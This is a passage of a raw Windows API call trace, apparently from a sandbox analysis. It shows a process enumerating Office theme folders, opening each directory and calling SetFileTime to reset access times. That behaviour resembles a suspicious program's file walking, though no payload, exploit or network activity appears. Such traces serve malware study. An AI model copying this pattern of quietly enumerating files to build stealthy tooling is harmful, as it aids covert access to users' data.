ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.041] GetLastError () returned 0x12 [0058.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4490) returned 1 [0058.041] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0058.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4388) returned 1 [0058.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0058.041] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0058.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0059.148] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.148] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0059.148] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.148] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0059.148] NtClose (Handle=0x184) returned 0x0 [0059.148] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.148] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0059.148] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.149] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.149] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3048 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4388 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.149] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3068 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4490 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x6c0) returned 0xf870d0 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa35b0) returned 1 [0059.149] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.149] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3088 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4dd8 [0059.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa30a8 [0059.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4ee0 [0059.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.150] GetLastError () returned 0x12 [0059.150] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.150] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.150] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.151] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.151] GetLastError () returned 0x12 [0059.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.151] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.151] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0059.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0059.190] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.190] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0059.190] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.190] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0059.190] NtClose (Handle=0x190) returned 0x0 [0059.190] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.190] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.190] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.190] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.190] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.190] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.190] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.191] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.191] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa30c8 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa51f8 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa30e8 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5300 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.191] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3108 [0059.192] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5408 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.192] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3128 [0059.192] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5510 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, 